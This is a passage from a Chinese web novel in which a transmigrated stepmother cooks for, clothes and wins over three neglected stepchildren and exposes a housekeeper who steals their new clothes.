提着裙摆,进了灶房,打开锅盖,林若若看到锅梁上热着四个黑乎乎的硬馒头,锅梁下面的鸡肉散发着一阵阵的腥气,就是鸡屎味。
林若若差点吐了。
这个王婆子,是怎么能把这鸡炖的如此难吃的?!
把黑硬馒头拿出来,放到油腻腻的盘子里,林若若才想起来,碗筷自己还没清洗。
反正这两个孩子也不接受自己,那就只配吃王婆子做的饭了。
拿出锅梁,林若若一眼就看出,这鸡肉的数量明显不对,撑**只有半只鸡了。
另半只
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,应该是长在王婶的腰上去了。
忍着鸡屎味,林若若给赵林赵峰盛了连汤带肉一大碗,又把黑硬馒头摆上餐桌,锅里只留了几块鸡肉。
而赵林赵峰也带着赵小静,坐在桌前开始大口吃鸡肉了。
小静拿着一块鸡肉,跌跌撞撞走过来,递给了林若若,“吃,吃肉,好吃!”
林若若摸了摸她软软的脸蛋,温和地说:“小静真乖,你先吃,娘给你做鸡汤拉面吃,好不好?”
“好!”小静笑得流口水了~
林若若打开橱柜,盛了一碗面粉出来。
小静上午被粥里的石子咯破了牙床,得吃点软和的东西。
中午吃了鸡蛋羹,那晚上就吃点鸡丁面吧。
林若若将锅中剩余的鸡肉捞出,沥净旧汤。
实在太腥气了~
随后,她把鸡肉重新放入锅内,添上清水,又从随身空间里拿了一小罐原本自己炖好的鸡汤,倒进去,慢慢炖煮起来。
之后,又摆好面板,和面,开始做拉面。
这可是林若若的拿手好戏。
很快,拉面做好,汤也煮开了,打开锅盖,扑鼻的香味迎面而来,若若满足地吸了吸鼻子,嗯,手艺还在。
捞出鸡肉,撕碎,锅里下入拉面,煮开,再放几棵野菜进去,满屋飘香~
而坐在桌旁,原本正在大口吃鸡肉的赵林赵峰,此刻也不吃了,眼神不自觉地瞟向这边。
林若若盛了一小碗鸡汤面,端着坐在桌边,用筷子夹了,一口一口喂给小静吃。自己也盛了一碗,边喂小静边自己也吃两口。
而赵林赵峰闻着这个香味,再也吃不下那腥气的鸡,还有那几乎能砸**的黑硬馒头了~
看着妹妹吃得香,两人忍不住直咽口水。
“锅里有你们的饭,想吃就自己捞去。”林若若看了两人一眼,语气平淡。
她想过了,两人一直对后娘有着很深的敌意,所以现在用不着对他们太好,否则他们以为自己要害他们呢~
反正给他们留饭了,爱吃不吃吧~
第7章 早饭风波起
林若若给小静洗完脚,交代给赵林赵峰,就回自己的房间睡觉去了。
果然还是软和的床更舒服。
睡梦中,她被一阵“咣啷”的声音吵醒。睁开眼,打开窗帘的缝隙看了看,外面天还黑着,怎么灶房那边就有声音传来?
穿着睡裙,披上家居的斗篷,把自己捂得严严实实,林若若出了房门。
果然是灶房有烛光。
走过去一看,是赵林正在热饭,赵峰在烧火。
“天还没亮,你俩干啥呢?”林若若揉了揉眼睛。
两个孩子同时看过来,眼中有亮光一闪而过。
赵峰边烧火,边嘀咕,“还真是个好看的狐狸精!”
赵林转身就去洗脸去了,边走边说,“没干什么,做早饭,中午带去学堂吃。”
林若若听了,无声地翘了翘嘴角,语气之中没有昨晚那么大的敌意了~
拉面应该吃完了~
林若若走到灶台前,打开锅盖,热气腾腾中,那四个黑硬馒头,还有一碗鸡肉,静静地躺在锅里。
“你们确定要带这个去读书?”
“我们也不会做别的。”赵峰话比较多。
“那之前你们带什么?王阿婆给你们做什么早饭?”林若若真想知道。
赵峰抬起头,看着眼前的后娘,嗤笑一声,“阿婆晚上会多做一些,这样早上我和哥哥吃完,剩下的就能带着当午饭了。”
林若若被惊着了。
“她不是晚上睡在咱家吗?早上不给你们做饭吗?”
赵峰摇了摇头,“不做。”
“你们爹知道吗?”
“爹很少在家的。”赵峰倒是说了不少。
看着两个瘦弱的孩子,林若若真想把赵长风的脑子劈开看看,找了一个什么人,把自己的三个孩子照顾得皮包骨头!
关键家里还不缺钱,不缺吃的!
想到这里,林若若无奈地叹了口气。
“你们什么时候走?”
赵峰看了看冒着热气的锅,“饭熟了就走,路上吃,不然会迟到,夫子要打手心的。”
林若若一听,赶紧打开橱柜,拿出剩下的三个鸡蛋,舀了半碗面粉,开始飞快地搅拌。
“赵林,把锅盖打开,热的饭端出来,锅里的水舀出来。”林若若看了看刚洗完脸,站在旁边的赵林,“别愣着,要快!”
“哦!”
赵林下意识地就应了,而且迅速去干活了。
“赵峰,抽出几块柴火,改小火。”
“哦!”
林若若已经把鸡蛋和面搅成了面糊,趁着转身的功夫,她从空间拿了一根火腿肠撕掉包装,拿了出来,剁碎搅到了面糊里。最后切上一棵野葱,撒上盐。
“好,火不用烧了。你俩先去吃早饭,午饭我来做。快去。”林若若一边吩咐,手下一边忙着。
俩孩子居然没有顶嘴,还乖乖去了。
锅已经热了,倒上油,面糊摊到锅里,摊平,之后翻面,一阵香味顿时飘散在厨房的每个角落。
林若若快速地摊了四张鸡蛋饼,然后盛出,放凉,再装到他们的小食盒里。
而此时他们也吃完了。
把食盒放进他们各自的小背篓,看了看他们身上有些短了的衣裳,还有露着脚趾的鞋子,林若若心里突然有些心疼。
“去吧,上学去吧,路上小心,注意安全。”
清晨的微光中,两个孩子背着各自的小背篓,脚步匆匆,去学堂了。
兄弟两个闻着食盒里散发出来的香味,从没像今天一样,盼望上学。
回去看了一眼小静,孩子还在睡着。
只是林若若一进他们的卧房,顿时就被熏着了!
又脏又臭!
赵家的房子在赵家村也算大的,而且家里的房子都铺了青石地板。
林若若没想到,他们的卧房,不仅地板上到处是灰尘,就连卧房的角落,也都堆满了各种东西,其间还有不知名的虫子爬进爬出。
床上的被褥已经看不出原本的颜色,林若若只是摸了摸,就觉得硬的硌人,还散发着一股霉味和臭味相混合的气味!
天呐!
太脏乱差了吧!
林若若出了他们的房间,去到门口呕吐了一会儿,虽然什么也没吐出来,但胃里一阵阵翻江倒海~
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正在这时,王婆子打着哈欠来了。
“赵林赵峰那两个兔崽子呢?”
林若若抬头看了她一眼,眼中有怒气一闪而过。
“走了,上学堂去了。”
“是这样,今儿我要去我闺女家一趟,隔壁村,小静你自己带两天吧。”
“王婶,不带这样的吧。你也是收了赵家的银子,怎么说不来就不来?这样不好吧?”林若若真是看不惯她这个样子。
“我又不是天天不来,这不是家里有事吗?等长风回来,我给他说。”王婶说完,转身就走了。
林若若回到自己房里,闪身进了空间,从储藏室找出来两瓶84,拿了出来。
那个卧房要收拾来,得费不少功夫。
今儿是没空了,她得去镇上一趟买点东西,否则直接从空间往外拿,太显眼了。
小静醒了,喂她吃了点面片,洗了脸,扎了辫子,穿了衣裳,林若若就抱着她锁上门,往村口走去。
大槐树那里,已经等了几个婶子阿婆,还有年轻的小媳妇了,大家都要去镇上赶集。
林若若今儿穿了一件细棉布的青色交颈襦裙,领口、袖口,还有裙摆都绣着一小朵一小朵的茉莉花,长发披散在肩上,上面挽了一个春日髻,簪了一只茉莉花的玉簪,清新淡雅,吸引了所有人的目光。
“哟,这是谁家的小娘子,也太好看了吧!”
“你没看她领着小静吗?赵长风家的!”
“姑娘,你是赵长风家的什么亲戚?”
林若若正要说话,就见一个阿婆笑眯眯地过来,拉着林若若的手,“这是长风刚娶的小娘子,怎么样,好看吧?”
“阿婆!”林若若认出来了,这是在村口大槐树下纳鞋底子的阿婆。
“原来是长风娘子!真是好看!”
“可不是!这简直就是个千金大小姐!”
大家正议论纷纷,突然有人喊了一句:
“牛车来了!”
若若回头一看,果然一个大爷赶着一辆牛车珊珊而来。
交了两个铜板,坐上了牛车,林若若抱着赵小静一摇一晃地往青云镇而去。
第8章 赶集大采买
牛车晃晃悠悠地走在乡间土路上,清晨的雾气尚未散尽,路旁的野草还挂着晶莹的露珠。
林若若将小静抱在膝头,小姑娘好奇地张望着四周,小手紧紧抓着她的衣襟。
“长风娘子是哪儿的人呀?”旁边一个穿着蓝布衫的年轻媳妇好奇地问。
林若若微微一笑:“娘家是林家村,我在县城住过一段时间。”
“难怪看着就秀气,和我们这儿的姑娘不一样。”
另一个婶子接口道,
“赵长风有福气嘞,两年多前,他从外地回来,带回这三个孩子,当年就娶了赵家庄的一个女人,谁知这女人过门后,对几个孩子非打即骂,还给他们下药,后来跟着一个货郎跑了……如今娶了你,孩子们也算有个依靠。”
这话说得委婉,但林若若听得出其中的试探——村里人都在观望,这个新来的后娘会怎么对待前头留下的孩子。
“孩子们都懂事,”林若若轻轻拍着小静的背,“就是先前家里没人好好照料,瘦得很,往以后会好的。”
她说话时语气平和,眼神清澈,几个妇人交换了眼神,面上都露出些赞许之色。
阿婆姓罗,坐在林若若身边,压低声音道:
“你看好王婆子,那人惯会偷奸耍滑。长风经常进山打猎,家里没个女人,才让她钻了空子。你是正头娘子,该管的就得管。”
“谢谢罗阿婆提点。对了阿婆,咱们村有木匠吗?”
“有!就在你家那条街的最头上,那户就是。老赵头手艺很好的!”
“知道啦,阿婆,回头我去买点东西。”
林若若和罗阿婆说这着话,眼睛亮亮的。
到了青云镇,天色已大亮。
镇子比赵家村热闹许多,青石板铺就的街道两旁店铺林立,卖布的、卖成衣的、卖杂货的、卖吃食的……摊子一个挨着一个,叫卖声此起彼伏。
林若若先抱着小静去了布庄。伙计见来了客人,热情地迎上来:“娘子想扯什么布?”
“看看细棉布,做里衣的。”林若若说着,目光在货架上逡巡。
她挑了匹月白色的细棉布,又选了青色和藏蓝的细棉布各一匹,最后还要了两匹青色和藏蓝的粗布,“麻烦把这些布送到赵家村,村西头赵长风家。”
“好嘞!”伙计麻利地量布裁剪。
林若若付了钱,又转到成衣店。
她一眼就看见挂着的几套孩童成衣,虽然样式简单,但针脚细密。比对了尺寸,她买了两套男童的,一套女童的。
“娘子真是疼孩子,”伙计包衣服时笑道,“这料子虽不是顶好,但胜在穿着舒服。”
“小哥说得对,孩子长得快,合身和舒服最要紧。”
林若若说着,又估摸着尺寸,买了三双布鞋。看到柜台角落堆着的碎布头,她心中一动,“这些碎布怎么卖?”
“这些啊,两文钱一堆,娘子要的话拿去就是。”
林若若挑了一堆颜色鲜亮些的碎布,想着可以给小静做些头花,或者拼个布偶。
临走她发现这铺子里还卖被子,想到几个孩子的房间,就又买了三套被褥枕头,让他们一起给送到家里去。
从布庄出来,她拐进杂货铺,买了新的皂角、刷子、碗筷,又添置了油盐酱醋。
路过肉铺时,割了两斤五花肉,看到有新鲜的猪大骨,也要了两根。
背篓渐渐满了,小静趴在她肩头,小手指着卖糖人的摊子:“糖……糖……”
“想吃糖?”
林若若笑着走过去,买了个小兔子形状的糖人。
小静接过来,舔了一小口,眼睛立刻弯成了月牙。
正走着,忽听前面传来一阵喧哗。一个熟悉的声音尖利地响起:“我闺女嫁到你们家是享福的?你看看这过的什么日子!”
林若若抬眼望去,只见王婶正叉着腰,对着一个瘦高的年轻男子嚷嚷,旁边站着个年轻妇人,低着头抹眼泪——那应该就是王婶的女儿。
“娘,你别说了……”年轻妇人拉着王婶的衣袖。
“我怎么不能说?他陈家要是养不起媳妇,当初就别娶!”王婶嗓门大,引得路人纷纷侧目。
那男子脸色铁青:“谁家没个难处?就你天天来闹!”
林若若不欲多事,抱着小静绕到另一条街。
心里却明白了几分
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:王婶总往闺女家跑,恐怕不单单是关心,更多的是去“打秋风”。赵长风给的工钱,怕是没少贴补到女儿家。
日头渐高,该买的东西都置办齐了。
林若若在街边买了两个肉包子,和小静分着吃了,便去镇口等回村的牛车。
回程的牛车上多了些从镇上采买归来的村民,背篓里装着各种物件,说说笑笑很是热闹。
林若若安静地听着她们拉家常,从中了解到不少赵家村的情况。
到了村口,她和乡亲们告别,之后抱着睡熟的小静下了车,往家走去。
打开院门,院子里静悄悄的。
她先将小静放到自己床上盖好被子,然后开始收拾买回来的东西。
衣服先收进柜子,食物放进厨房。
看着空荡荡的灶房,她想了想,从空间里取出一些米面——不多,只够两三天的量,这样不会引人怀疑。
又拿了一小罐自己做的肉酱,准备晚上拌面吃。
下午阳光正好,林若若决定先从清洗开始。
她烧了一大锅热水,将孩子们卧房里的被褥全部扔了。
地板先用扫帚彻底清扫,然后用刷子沾着兑了84的水刷洗。
污垢被一层层刷掉,露出青石板原本的颜色。
角落里的杂物该扔的扔,该归置的归置,忙到日头西斜,总算初见成效。
只是那84的味道有些刺鼻,林若若将所有门窗都打开通风。
小静午睡醒来,自己爬下床,揉着眼睛走到卧房门口,呆呆地看着变得整洁的房间,又仰头看看正在擦汗的林若若,小声说:“香香。”
林若若笑了,蹲下身摸摸她的头:“等哥哥们回来,看到干净的屋子,一定高兴!走啦,带你出去一趟!”
林若若锁上门,领着小静往村里走去。
她们刚走不久,赵林和赵峰一前一后就回了家,两人脸上都有些红扑扑的,不知是走路热的,还是别的什么原因。
赵林打开门,习惯性地喊了一句:“阿静!妹妹!”
没有人!
小妹和那个女人都不见了!
“哥!小妹不会被那个女人卖了吧?!”
第9章 家被搬空了!
“她敢!”赵林的眼泪在眼眶里打转,小小的拳头都握了起来!“她要是敢动小妹一指头,咱们兄弟俩就弄死她!”
“嗯!弄死她!”
虽然嘴上和弟弟说着凶狠的话,可赵林的心里还是慌极了!
他们上一个后娘就是把小妹带出去,卖给了山里的一户人家,说是给他们的傻儿子做童养媳!
要不是爹爹及时回来,把小妹买回来,后果不知如何!
兄弟俩吓坏了!
赵峰鼻子灵,哭着说:“家里没人!而且家里还有奇怪的味道!”
两人急匆匆进了家门,找了一圈也没找到小静,除了林若若的房间,其他地方都找了。
赵林赵峰开始慌了!
赵林脚步顿了顿,望向敞着门的卧房。
夕阳的余晖照进去,地板干干净净,墙角的杂物已经不见了。
他抿了抿唇,没说话,眼泪开始掉下来。因为他和弟弟平时写字的那张三腿桌不见了!桌子有条腿断了,他们两个用石头垫起来的。
赵峰突然冲过来,带着哭腔哽咽地说道:“哥哥,不仅小妹不见了,就连咱们床上的被褥都不见了!咱们今晚没得觉睡了!”
“什么?!”赵林的眉梢狠狠地抖了抖~
“我就说吧!后娘就没一个好的!”正在赵峰跟刚刚告状的时候,王婶的声音从门口传来。
她手里拿着一个碗,里面居然装了三个白面包子!
“赵林赵峰,阿婆说什么来着?这长得越好看的女人,心眼儿越坏!阿婆虽然是个乡下婆子,但从来没把小静弄丢过,对不对?!”王婆子脸上顿时露出得意扬扬的表情。
她听说了,这个败家娘们今儿去镇上赶集了,还买了很多东西!
正好趁着这个机会,往家里拿点!
自己女儿和女婿吵架,跟着她回家来了,大外孙也来了!弄点肉,回家吃去!
“阿婆,你在家里等着,我们兄弟俩出去找小静去!”赵林放下背篓,抹了一把眼泪,哽咽地说。
“知道了!你们快去!边找边喊!”
两个孩子撒腿就跑了。
王婆子赶紧关上门,冲到灶房里翻起来!
奇怪!
灶台上没有!
橱柜里也没有!
难道这死丫头把肉藏起来了?!
想到这里,她又急匆匆去往孩子的卧房,然后惊恐地发现,里面几乎快搬空了!
她一咬牙,去了林若若和赵长风的卧房!
进屋一看,王婆子惊呆了!
这屋子也太阔绰了吧!
这哪里是乡下的新房,这简直就是贵人家千金大小姐的闺房!
床上的东西,太大件了,她不敢拿,转身在箱子上看到了两套藏青色的衣裳,拿起来一看,是赵林赵峰的尺寸!
这做工,这用料是真讲究啊!不过这大小,自己的大外孙子刚好能穿!
就它了!
把两套衣裳绑在自己的腰上,王婆子关上房门,出去了。
此时,赵家门口的街上,已经有不少人出来看热闹了!
因为赵林赵峰在村里边跑边喊妹妹的名字,村里在家的就都出来了。
“看吧,孩子又丢了!”
“不是说长风新娶的娘子很好吗?”
“哎~知人知面不知心哪!”
“谁说不是呢?”
“听说长风的新媳妇长得可好看了!”
“好看有啥用?!肩不能挑手不能提~”
外面这么乱,王婆子正想趁着人多嘴杂,从人群边缘悄悄溜走,腰里那两套新衣裳却硌得她心慌,动作不免有些鬼鬼祟祟。
“王婶子,你这腰里鼓鼓囊囊的,揣的啥好东西啊?”一个眼尖的年轻媳妇瞧见她形色古怪,半开玩笑地喊了一嗓子。
这一喊,不少目光唰地聚了过来。
王婆子心里一咯噔,脸上强作镇定,干笑两声:“没啥,没啥,腰冷腰疼,在腰上绑了件自家的旧衣裳……”边说边想把外衫往下拽拽,遮得更严实些。
可那藏青色的崭新布料,还是从她那粗布的衣衫下摆露出了一角,在夕阳的余晖下显得格外扎眼。
“这颜色……看着可新哪!”又有人嘀咕道。<
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br>“一点褶子都没有啊~”
王婆子额角开始有冷汗冷汗冒出来,她正想搪塞过去,人群外围忽然传来一道清脆温婉的女声,带着些许疑惑:“这是……怎么了?大家都聚在我家门口?”
这声音不大,却像冰块投入沸腾的油锅,瞬间让喧闹的场面静了一静。
所有人齐刷刷回头望去。
只见夕阳最后一缕金光里,林若若牵着小静,正站在几步开外。
小静另一只手里还举着个只剩一小半的糖兔子,小脸上沾着糖渍,穿着干净的衣裳,头上戴着可爱的蝴蝶结,睁着乌溜溜的大眼睛好奇地看着大家。
她们身后,还跟着三个人,两个小伙子抬着一张有些老旧的书桌,还有一个扛着木工家什、头发花白的老汉——正是村头的木匠老赵头,还有他的两个儿子。
林若若脸上带着温婉的笑意,还有似乎了然的眼神,看着有些惊慌失措的王婆子,“王婶,出什么事了?”
“哦,赵林赵峰回来,没看到你和小静,以为……”
林若若无声地翘了翘嘴角,“以为什么?以为我把孩子卖了?”
“我也不知道啊……”王婆子死死拽着衣角~
赵林和赵峰刚跑回附近,恰好听到动静,拨开人群挤到前面,一眼就看到了被林若若牵着、完好无损的小静。
“小妹!”赵峰惊喜地叫了一声,就要冲过去,却被赵林一把死死拽住了胳膊。
赵林胸膛剧烈起伏,眼睛死死地盯着林若若,那目光里有瞬间的放松,还有后怕更汹涌而起的愤怒、怀疑和恐惧。
他看到了妹妹,妹妹没事,看起来甚至还吃了糖人。
可这更证实了他的猜想——这个女人,用一点小恩小惠哄走了妹妹,然后把家里值钱的东西,甚至他们睡觉的被褥都弄没了!
她带木匠来干什么?
难道连剩下的家具也要卖掉?
“你……你把我们的桌子和被褥弄哪儿去了?!”赵林的声音因为激动和愤怒而发抖,手指紧紧攥着弟弟的胳膊,指节泛白。
第10章 真相大白
林若若愣了一下,似乎没料到,自己回家迎面是这样一句质问。
她看了一眼怒气冲冲的兄弟俩,又扫过神色各异的村民,最后目光落在脸色陡然变得尴尬慌张的王婆子身上,心里隐约明白了什么。
她没有立刻回答赵林,而是先蹲下身,轻轻拍了拍小静的后背,柔声道:“小静,先去屋里玩,娘和哥哥们说说话。”小静听话地点点头,松开她的手,跑进了院子。
林若若这才站起身,目光平静地看向赵林:“旧桌子必须要修了,我去赵伯家请他修旧桌子,还买了一张新桌子。旧的被褥……我扔了。”
“扔了?!”赵峰失声叫道,眼圈瞬间又红了,“你凭什么扔我们的东西!那……那我们晚上铺什么盖什么?!”
他想到昨夜还裹着的、带着熟悉气味的破被子,心里又委屈又恐慌。
“买了新的。”
林若若言简意赅,随即目光转向眼神躲闪的王婆子,还有她明显粗胖了的腰身,语气依旧平和,却带着一丝不易察觉的锐利,
“王婶也在?正好,我方才去镇上,给林哥儿峰哥儿还有小静都买了几身新衣裳,还有些布料,本想晚上拿给他们。王婶既然在,可看见我放在屋里的、给两个男孩买的藏青色新衣了?”
这话问得突然,王婆子猝不及防,脸色“唰”地就白了,手下意识地去捂腰间,结结巴巴道:“什、什么新衣裳?我……我可没看见!”
她这欲盖弥彰的动作和慌乱的神情,落在众人眼里,再结合她之前鼓囊的腰间和露出那角新布料,不少人心里已经有数了~
老赵头这时把肩上的工具放下,嗡声嗡气地开口了:
“林娘子一个时辰前,领着静丫头去我那儿,修了一张三条腿的桌子,定了一张新桌子,两把新椅子,两个新浴桶,还说要打个新柜子。这不,我跟着过来量尺寸。”
说完,老赵头又看了看两个怒气冲冲的孩子,
“林家小子,你们屋里那桌子是得修了,三条腿咋写字?林娘子心细,还特意嘱咐我用剩下的好料子,给你们俩一人做个放书本的小匣子呢。”
老赵头在村里手艺好,人也实在,他的话很有分量。
赵林愣住了,攥着弟弟胳膊的手不自觉松了松。
修桌子?打柜子?做书匣?
而且没有卖掉小妹?!
他看向林若若,女人脸上没有他预想中的心虚或刻薄,只有坦然,甚至有一丝……疲惫?
这时,方才那眼尖的年轻媳妇忽然指着王婆子,惊讶地提高声音:
“哎呀!王婶子,你怀里那露出来的,不就是藏青色的新布料吗?看着还是细棉的!”
轰”一下,人群又炸开了。
“真是!刚才我就瞅着像!”
“王婆子,你拿了人家给孩子买的新衣裳了?!”
“怪不得刚才鬼鬼祟祟想溜呢!”
“哦,她那外孙回来了!”
“怪不得呢~”
“可是不应该啊,听说长风每月给她开一两银子让她照顾三个孩子呢!”“那她还偷人家东西?!”
“这也太不要脸了吧……”
人群中一阵冷嘲热讽……
王婆子面皮紫涨,恨不得找个地缝钻进去,支吾着想辩解,却一个字也说不出来,只顾死死按着腰间。
林若若没再看王婆子,她转身推开院门,对赵林赵峰,也像是对所有村民说:
“桌子已经修好,麻烦两位大哥给抬进来。新被褥很快就会送过来。旧的实在不能用了,我扔河滩边烧了,那些东西……不能留了。”
她的语气很轻,却带着一种不容置疑的决断。
赵林和赵峰对视一眼,迟疑了一下,还转身冲进了院子。
不知是愤怒,还是羞愧。
空气中弥漫着淡淡的、像是阳光晒过后的清新气味,还有一丝尚未散尽的、类似皂角但更强烈的味道。
这味道并不难闻,反而让兄弟俩觉得,这个他们住了许久、充满阴暗记忆的房间,似乎从内到外都被彻底地清洗、曝晒过一样。
门外,林若若冷笑着,走到王
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婆子身边,一把扯出她腰间的衣裳,拿走了!
“林若若你个**!赶快把我外孙的衣裳还回来!”
林若若拿起衣裳,冷笑一声:“你外孙的衣裳?你外孙叫什么名字?”
“我外孙那可是读书的好苗子,姓孙,孙远山~你问这个干什么?!”王婆子有些迷糊了,这跟自己外孙又有什么关系?
“请问,咱们中可有识字的乡亲?”林若若环顾了四周,大声说道说道。
“我识字的,赵夫人。”一个年轻书生站了出来。
“那麻烦这位小兄弟看一下,这衣服的缝隙里写的什么字?”林若若把衣服递过去。
年轻书生接过衣服,果真发现这衣服内侧的缝隙里有个布条,上面绣着“赵林”的名字,另一件则绣着“赵峰”。
书生举着衣服,朗声说道:“这两件新衣服上都写着名字,一件是赵林的,一件是赵峰的。”
人群中顿时一片哗然。
“果然是人家的!”
“天呐,王婆子偷东西?!”
“少胡说!我是拿错了!”王婆子说完,捂着脸,头也不回地进了自家的家门。
正在众人议论纷纷的都时候,一辆马车驶进了村里,朝着这里过来了。
马车哎~
大家都很好奇,纷纷看过去。
只见车上下来一个掌柜打扮的中年男子,穿着黑色的长衫,留着山羊须。
“请问各位高邻,赵长风家怎么走?”
一阵抽气的声音传来,大家齐齐看向林若若。
林若若快步上前,行了礼,“这位掌柜,小女子便是赵长风的内人,姓林,林若若。”
这掌柜赶紧过来,回了礼,“赵夫人,我是祥瑞布庄的掌柜路远山,您上午在我们祥瑞布庄定的布匹,还有被褥都已经做好,下午特意送过来,请您查收。”
林若若笑得开心,来的真是时候!
“那就麻烦几位帮我搬回家里吧。”
“应当的!去!”陆远山赶紧应道。
这可是个大主顾!得好好伺候着!
第11章 全新的房间
东西搬回家,陆掌柜就带着马车走了。
门外,村民的议论声已经转了风向,都在说王婆子吃相难看,还有不少人在夸林若若这个后娘心地良善,对孩子真心好。
老赵头量完尺寸之后,也带着儿子回家了。
天黑了,围观的人群也渐渐散去。
林若若回家关上大门,进了灶房,煮面去了。
她虽然有些生气,但也在意料之中。人与人之间的信任不是那么容易建立的,况且这几个孩子被多次伤害过,因此要得到他们的信任并不容易。
赵林赵峰进了门,偷偷看了看自己后娘有些难看的脸色,不敢说话,就回了自己的房间。
地板如今像新的一般,泛着青石板干净的光泽,角落里堆积的破烂杂物不见了,整个房间显得宽敞明亮了许多。
而他们那两张光秃秃的床板上,此刻整整齐齐地叠放着崭新的、厚实的青色被褥和枕头。
旁边一张椅子上,还放着两套叠好的、同样是藏青色的新衣服和两双新布鞋。
墙角的床上,铺着粉色的被褥,是小静的床!
旁边的书房里,两套桌椅整齐地摆在那里,上面摆放着两套新的笔墨纸砚。原本堆在桌上的书本,也都放在了单独的匣子里。赵伯伯说了,还要给他们打一个书柜。
赵峰忍不住走上前,小心翼翼摸了摸那柔软的新被子,又拿起一套新衣服,比自己身上补丁摞补丁的旧衣不知好了多少倍。
他抬头看向哥哥,眼睛亮晶晶的,里面盛满了难以置信和一丝压抑的欢喜。
赵林站在门口,没有动。
他看着焕然一新的房间,看着弟弟手里的新衣,又想起刚才老赵头的话,想起那个女人平静的眼神,想起她牵着小妹回来时温柔的样子,以及她来了之后变得干净、香软的小妹……
心脏像是被什么东西重重地撞了一下,酸涩、茫然、还有一丝被狠狠颠覆认知后的无措,一起涌了上来。
他之前所有的愤怒、猜忌和绝望,此刻在这个干净的房间和实实在在的新物件面前,忽然显得有些无处着落。
难道……真的错怪她了?
林若若没有理会外面的嘈杂,她走到灶房门口,挽起袖子,对还在发愣的兄弟俩轻声说:“看完了就出来吧,来个人给我烧火,另一个带妹妹。”
她好看的侧影被灶房昏暗的光线勾勒着,语气平淡得像是在说一件再寻常不过的家事。
暮色四合,赵家小院的这场风波,似乎随着那即将升起的炊烟,渐渐平息下去。
但某些东西,已经在悄然改变。
赵林看着那在灶台前忙碌的陌生背影,嘴唇动了动,最终,什么也没说出来,只是默默走了过去,蹲下身子,往灶膛里添了一把柴火。
火光跳跃,映亮了他少年脸上复杂未明的神色。
林若若抻着拉面,看了一眼正在烧火的老大,没有人说话。
赵峰一看哥哥去烧火了,就乖乖跑去陪妹妹玩积木了。
水开了,把面下进去,趁着这个功夫林若若把事先洗好的黄瓜、胡萝卜、野葱切成丝,放到大盘里备用,之后,把煮熟的面捞起来,过凉水,入碗,就可以了~
“吃饭了!”林若若说完,赵林赵峰就赶紧把饭菜端到正屋的饭桌上,又带着妹妹洗手去了。
“把这个肉酱盛到碗里,然后把面和菜,还有肉酱搅拌均匀,就可以吃了。”林若若给小静拌了一碗,赵林赵峰就学会了。
赵林吃了一口,眼睛立刻就亮了起来,接着大口大口地吃起来。
赵峰猛吃了两口,舒坦地闭上了眼睛,“这也太好吃了!妹妹,你快吃!可好吃了!”
林若若把小静的面条用铁勺戳碎,然后让她用木勺自己挖着吃,小丫头边吃边幸福地直哼哼,冲着林若若咧着小嘴乐呵。
吃完饭,两个孩子已经主动去干活了。赵林一边收拾碗筷,一边对赵峰说,“一会儿我去洗碗,你去烧锅热水,她让我们今晚洗澡。”
赵峰点了点头,咧开了小
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嘴:“她不说我也要洗,今晚可是新被褥呢~”说完还摇头换脑地傻乐~
看着弟弟瘦弱的小身子上,显得那越发大的脑袋,赵林的眼眶有些湿润。只恨自己长的不够快,担不起照顾弟妹的责任。
不过,这个女人来了,目前来看,她应该和之前的后娘不一样,现在看着,是个好的,希望能一直好下去,否则他不介意给她下点药~
这时,林若若进了灶房,“赵林赵峰,我刚买的新浴桶在洗澡间,你们兄弟俩好好洗洗。”
“知道了。”正在烧火的赵峰应道。
赵林没有说话,只是抬眸看了林若若一眼。
林若若看到他的眼神,心头突然一颤!
她差点忘记了!
书中,自己的原身嫁过来之后,没少被两个孩子欺负,后来她就**三个孩子,而赵林也会在她的饭里下药,让她生不如死,最后,她被赵长风打残,也有两个孩子添油加醋告状的后果。
想到这里,她忍不住打了个哆嗦,这两个小魔丸,可不是善茬!可得及早得到他们的信任!
想到这里,林若若揉了揉自己的脸,让自己看起来更和蔼可亲,之后转过身,温言软语:“你俩明天早上想吃什么饭?”
食盒已经洗好放在灶台边,赵峰犹豫了一下,开口道:“那个饼……很好吃。同窗们都问那是什么。”
林若若回头看他:“喜欢的话,明天还给你们做。”
赵峰“嗯”了一声,耳朵有点红,转身跑了。
赵林的脸色也好看了不少。
林若若给小静擦洗干净,换上今天买的新睡衣——柔软的细棉布,浅粉色,绣着小花。
小姑娘高兴地在自己柔软的床上打滚。
等赵林赵峰两个孩子也洗了澡,林若若拿出给他们买的新衣服和鞋子:“试试合不合身。”
赵林看着那套藏蓝色的衣服,手指摩挲着布料,半晌才低声道:“谢谢。”
“我是你们娘,不用谢。”林若若说得自然。
第12章 茶蛋小米粥
赵峰已经迫不及待地试穿起来,新鞋比脚大一点,但垫上鞋垫正合适。
他在屋里走了两圈,嘴角忍不住上扬。
夜深了,小静已经在自己的小床上睡着了。怕她尿床,林若若给她穿了一件纸尿裤。
两个孩子也回到自己的卧房,看过妹妹之后,两人上了床。
柔软的被褥,香香的味道,是他们从来没有感受过的温暖。
赵林躺在床上,盯着干净的房梁,久久没有闭眼。
“哥,”赵峰在旁边的床上小声说,“她好像……不太一样。”
赵林“嗯”了一声。
“要是她能一直这样……”
“睡吧。”赵林打断弟弟的话,翻了个身。
但他心里知道,自己也在悄悄期待着。
两个孩子睡着以后,林若若也回到了自己房间,闪身进了空间。
在厨房煮了小米粥,煮了一锅茶叶蛋,又去房里洗了澡,把脏衣服扔洗衣机里,林若若躺在了空间的床上,沉沉睡去了。
第二天早上,林若若定了闹钟,早早就醒了。
把炉灶点着,把小米粥热上,又把空间里煮好的茶叶蛋拿出来,瞬间就香味扑鼻。
赵林赵峰也起床了,洗漱完毕,匆匆来到灶房,“我们起晚了!对不起!”
林若若直起身,看着两个惊慌失措的孩子,却也没有责备,语气平淡,“不晚,快去吃早饭。一人一碗粥,两个蛋。”
两个孩子便匆匆端着自己的碗,去吃饭了。
“哥哥,这个蛋真是太好吃了!”赵峰嘴里含着蛋,惊喜无比。
“食不言寝不语!”
灶房里,林若若又做了一次鸡蛋饼,怕两个孩子吃不饱,又把鸡蛋饼刷上酱,卷了点生菜,还有火腿在里面。
之后,给他们放进食盒,打发他们上学去了。
接下来的两天,王婶果然没有露面。
林若若带着小静,将家里彻底清理了一遍。
该洗的洗,该晒的晒,该修补的修补。
她用碎布做了几个简单的布偶给小静,又给兄弟俩用藏蓝粗布各做了一个挎包,一个装饭的布包。
还给小丫头做了一个粉色的挎包,装手帕和小零食~
第三天傍晚,林若若正在灶房炖骨头汤,院门外传来急促的马蹄声。一个高大的身影翻身下马,推开院门。
